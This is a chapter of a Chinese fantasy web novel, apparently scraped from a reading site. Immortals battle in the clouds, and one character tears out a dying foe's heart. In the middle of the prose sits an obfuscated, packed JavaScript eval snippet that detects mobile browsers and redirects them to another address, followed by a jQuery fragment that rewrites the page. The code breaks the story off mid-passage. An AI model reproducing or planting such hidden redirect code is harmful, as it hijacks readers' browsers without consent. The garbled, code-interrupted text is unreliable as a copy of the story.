96. 白雪

作品:《魔主曾修无情道

    船上三人闻声俱是一惊。姜枢不知道仙人会突然降临,看起来还是为了追捕李放尘。


    此刻她看向二李的眼神有惊愕,还有害怕。


    “你们,你们竟已叛出仙门……”


    李恪生一脸焦急。他不信李放尘会欺师灭祖,却也难为他辩驳,更来不及为他辩驳。


    头顶云层又响起闷雷,李恪生抬头望天,皱眉喃喃道:“他们把天庭雷部的战车也借来了?”


    姜枢抢过船舵,大声命身后姜家的船道:“去龙王湖!”


    柳晋如还未来得及细想姜枢为何要去龙王湖,又为何带着两副棺材,眼见云层中电光一闪,她眼疾手快撑出一片结界,将水面上两艘船都挡起来。


    紫电劈上结界表面,迸发出一束白光,被分化成无数细小的电蛇消失在结界外。


    李恪生愕然:“他们竟然连姜家人也不顾,直接动手?!”


    李放尘没有半分犹豫,径直冲上云层去,柳晋如和李恪生也紧随其后。


    素阳子为了引他们上去毫无顾忌,他们却不能置姜家这么多人于不顾。


    云沉甸甸的,层层叠叠,像翻滚不休的墨团。或青或白或紫的闪电在云隙间明明灭灭。就在这翻涌的墨团间,仙人鲜艳生光的袍服在风中飘举。


    李放尘陡一见那云中击缶的黄袍上仙,笑出了声:“青阳子,我还以为你们真有本事调天庭雷部众神呢,原来是这么个小玩意在抖假威风。”


    青阳子的引雷缶好歹也是上古法器,能召风雷、阴雷,向来得意。其中所驭庚金雷穿透力极强,能破上仙的护体罡气、法宝防御。


    方才被柳晋如一道结界轻松化解,他早失了往日的心平气和,如今还被李放尘当面挑衅,更是气得吹胡子瞪眼:


    “孽种安敢如此?!今日我等定要让你尝尝蓬莱的厉害,好叫你知道天高地厚!”


    李放尘还未接话,李恪生便持剑横眉,对云层中一直沉默的素阳子道:“素阳子,你自恃重权在握,颠倒黑白,只为一己之私。诸位上仙,还望看清真相,勿要受素阳子蒙骗!”


    十二道影子一开始隐没在云层里,见青阳子的雷被柳晋如轻易化解后,众仙皆倒抽一口冷气,逐渐显出身形来。


    他们听素阳子说李放尘欺师灭祖,勾结精魅残害凡人,这才前来捉拿。如今听李恪生这样说,有的也渐渐起了疑心。


    素阳子见势头不妙,忙用拂尘指着李恪生道:


    “你放跑魔主贪欲,还未治你的罪,如今还敢公私不分,摇唇鼓舌!诸位上仙,勿要被这两个叛徒所惑!他们被身边那个木魅所引诱,早已不是往日的仙徒!你们快随我将这三人速速拿下!”


    众仙听罢,立刻摆开阵法,各种法宝齐出,一时间墨色云团里射出道道异光,几乎插上九重天去。


    素阳子脱下紫霞罩袍将天一遮,顿时,阵中种种光芒和异动,都盖在其下。


    “他害怕被天庭发现!”柳晋如登时叫道,“素阳子只调了蓬莱的仙,他心里有鬼,不敢叫天庭与昆仑知晓!”


    素阳子一听,立刻叫道:“珣之,还不快把这个妖言惑众的木魅拿下!”


    滚滚风雷中跃出个素衣高冠的人来,他脸上戴着面具,手上戴着羬羊皮的手套,撑着梅雀伞便朝柳晋如攻来。


    李放尘抛出缚仙绫要替柳晋如挡下,素阳子却早有所料,手中拂尘化出三千丈,直直向李放尘缠去。


    李恪生提剑要为李放尘解围,却又与青阳子放出的白虎厮打在一处。


    柳晋如碍于李放尘,不敢使用度朔桃花,赤手空拳掐诀念咒与介珣之相斗。


    她环视一圈,冷声道:“听闻蓬莱有十二上仙,怎么,素阳子协理蓬莱,就调了你这样冒名顶替的货色吗?”


    介珣之手上动作一抖。


    “十一位上仙,单单缺了瀛洲仙山的凌虚子。”柳晋如高声道,“该不会是凌虚子发现了你们的阴谋,你们师徒二人,将他暗害了吧?”


    介珣之面具下的双眼圆睁,十分恼怒:“你这木魅该死!”


    缺了喜鹊的梅雀伞虽也威力无穷,但尚不足以挟制柳晋如。


    伞下风刃万叶,旋转着搅起电光和火焰朝她刮来,她双指并拢竖起剑诀,周身罡风便凝出数把长剑,将风刃搅碎,击挡回去。


    趁介珣之闪身抵挡的工夫,柳晋如连忙御风逃走,一边逃一边对李放尘和李恪生道:“快跟着我跑!他们布下了阵,要引你我进去!快逃离他们阵法的范围!”


    阵法的范围在扩大,李恪生后知后觉,连忙拉上李放尘,化成两股风跟在柳晋如两侧。


    二人的本命法器还在身后与素阳子纠缠,素阳子怒道:“快跟上,别让他们跑了!”


    蓬莱仙山的九微上仙紧追其后,祭出一盏“飞花点星”灯,灯如琉璃莲花,花瓣翕动盛开,从中飞出点点星火。那些星火一接触到风,便倏然燃起滔天巨焰,将柳晋如三人身边的风都燃烧成火海,三人各自被困于火墙中,被迫分离。


    介珣之见柳晋如已被困住,心下的慌张去了大半,执伞降下银色月华就要将她钉穿。柳晋如索性将身一变,化作个飞星火光,隐匿在万千光华里。


    介珣之索敌不成,生了恼意。他在师父面前已经抬不起头,若是连这么一个小小木魅都捉不住,还如何再得师父信任?


    “九微上仙,敢问这仙灯之火何时能将他们烧尽?”


    “这火墙只是困住他们,拿回蓬莱听审——珣之君,素阳子上仙不是说,只活捉了事吗?”


    介珣之不敢拆穿素阳子谎言,却十分想置柳晋如于死地,咬牙道:“上仙不知,这木魅十分狡猾,做尽恶事,今日就应当除了她!”


    “可是——”


    九微上仙话音未落,却见困住柳晋如的火墙中传来一阵恍若石裂山崩之声。柳晋如执着一把火剑,一脚蹬塌火墙,就朝介珣之刺来。


    “竟能破我飞花点星?”九微还在发愣,介珣之瞬间抛出梅雀伞罩在柳晋如头顶,伞下飘出大片大片的雪花,片片刺人肌肤,冻人神髓,将柳晋如的火剑倏忽间浇灭。


    柳晋如却傲然一笑,引云作绡,一片抛去半空将梅雀伞缠住,一片甩去介珣之眼前将他眼睛遮蔽。


    他躲闪不及,脸上面具应声而碎,露出半张红白骷髅的脸来。


    他嚎叫一声,如受了奇耻大辱,扑上来要掐柳晋如的脖子,而梅雀伞也漏下朵朵梅花,花瓣将云绡割破,朝柳晋如背后蜂拥而来。


    “啊,是梅花。”柳晋如却并不慌,脸上绽放出一种奇异的微笑,那微笑所生发的光彩,令介珣之胆战心惊:“你……”


    介珣之看见柳晋如笑着,缓缓举起右手五指,似舞蹈般,十分悠然地轻舒指尖,如雅绽兰花。


    “砰。”柳晋如的唇微微翕动,无声道。


    什么?


    介珣之睁大了眼睛。


    他的背心猛地一痛。


    他不敢置信地低头,看见梅雀伞下的梅花竟循着柳晋如的指引,从他的背后割开他的皮肉,破开他的肺腑,又从他的胸膛里钻出来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413503|200664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>为什么?为什么?!


    她怎么能控制梅雀伞的梅花?!


    他疼痛不已,竟失了控制,直直地往下坠。


    梅花属木,柳晋如天生对木属之物控制得信手拈来。她只是略加尝试,没想到真的能让介珣之自食恶果。


    见介珣之如此轻易便被战胜了,她甚至有些不可置信,下意识跟着他一起往下飞去,想再补一刀,以防他没死透还来使绊子。


    忽见自己袖中金光一闪,宜光蜿蜒而出,化出许久未见的人形,托住介珣之的身体,眼眶发红,对他皱眉道:“你不是还有件青袍做防御,任何法器都破不了吗?为什么?”


    “宜光……”


    介珣之被托住停止了下坠,一见宜光,竟大惊失色,呕出一摊鲜血来,伸出双手捂住自己可怖的脸,痛苦哀号着。


    “宜光,对不起……你走,你快走!”


    柳晋如不知宜光会突然现身,愣在一旁,缓缓悬停在云里。


    梅雀伞是介珣之的本命法器,此刻介珣之心脉俱断,它失了控制,伞下竟纷纷扬扬地飘起雪来。


    柳晋如一惊,以为这法器又要攻击,却见雪无戾气,没有半点刀兵凶光,散入云层间,飘至云层下。


    她尝试着驯服、控制这把厉害的法器,梅雀伞悠悠荡荡在空中飘,柳晋如咬着牙掐诀,把它往自己手中引。


    雪下得更大了,飘到宜光与介珣之的身上,飘到柳晋如的脸上。冰冰凉凉,她一摸,摸下一片冰晶。


    雪沾到介珣之的肩膀,瞬间冻结了一层冰,而他胸口那敞开的洞里,像放着一团火球,雪一触及,便“滋滋”地化了。


    “介珣之,我曾经好恨你。”宜光见他将死,如此狼狈,心头那些纠葛忽而一松,竟自觉可笑。


    “快走,快走……”介珣之口中喷出一股股混着内脏碎片的血,催促道,“逃……”


    “逃?我为什么要逃?我才是该堂堂正正的那个。”宜光冷笑,眼中却有泪涌出。她伸手,将介珣之捂在他自己脸上的手指,一根一根掰开。


    介珣之骨肉掺杂的面庞呈现在宜光面前。


    他痛苦地长啸,想要再次抱住头,又被宜光挡下:“你怕什么?你们无情道不是说得很好么?青丝白发一瞬,红颜枯骨成尘。你难道还看不透、放不下?”


    宜光凝视着他被剜开的皮肉里那红彤彤的、逐渐开始衰败的心脏,喃喃道:


    “在过去的五百年里,我时常想,要是我能剜出你的心就好了。剜出来,瞧一瞧,修无情道的心,怎么就能这么硬?”


    “所以,给我吧。珣之。”宜光呼出一口气,朝他的心脏伸出手,“给我吧,我想知道。”


    “噗嗤。”


    宜光的手中举着介珣之跳动的心脏。红彤彤生艳,芬芳生腥。湿哒哒,滚烫灼热。


    “对不起……”介珣之落下泪来。


    他用了最后一丝力翻身,从高空滚落下去。


    “宜光!”柳晋如刚将梅雀伞驯服在手,一转身见宜光跟着介珣之直冲冲向下落,连忙跟着往下俯冲。


    耳畔风声呼啸,层云飘在身后,青山映在眼底。万壑松涛间,柳晋如一把捞住宜光,撑开梅雀伞,伞下大雪铺天盖地,白茫茫一片,将介珣之的尸体掩埋在山丘之间。


    宜光怀中抱着介珣之的心脏,眼睫颤.抖。


    她的嘴唇一翕一合。


    “什么?”柳晋如看着她苍白的脸色,担忧地问道。


    “真干净啊。”


    她听见宜光说道。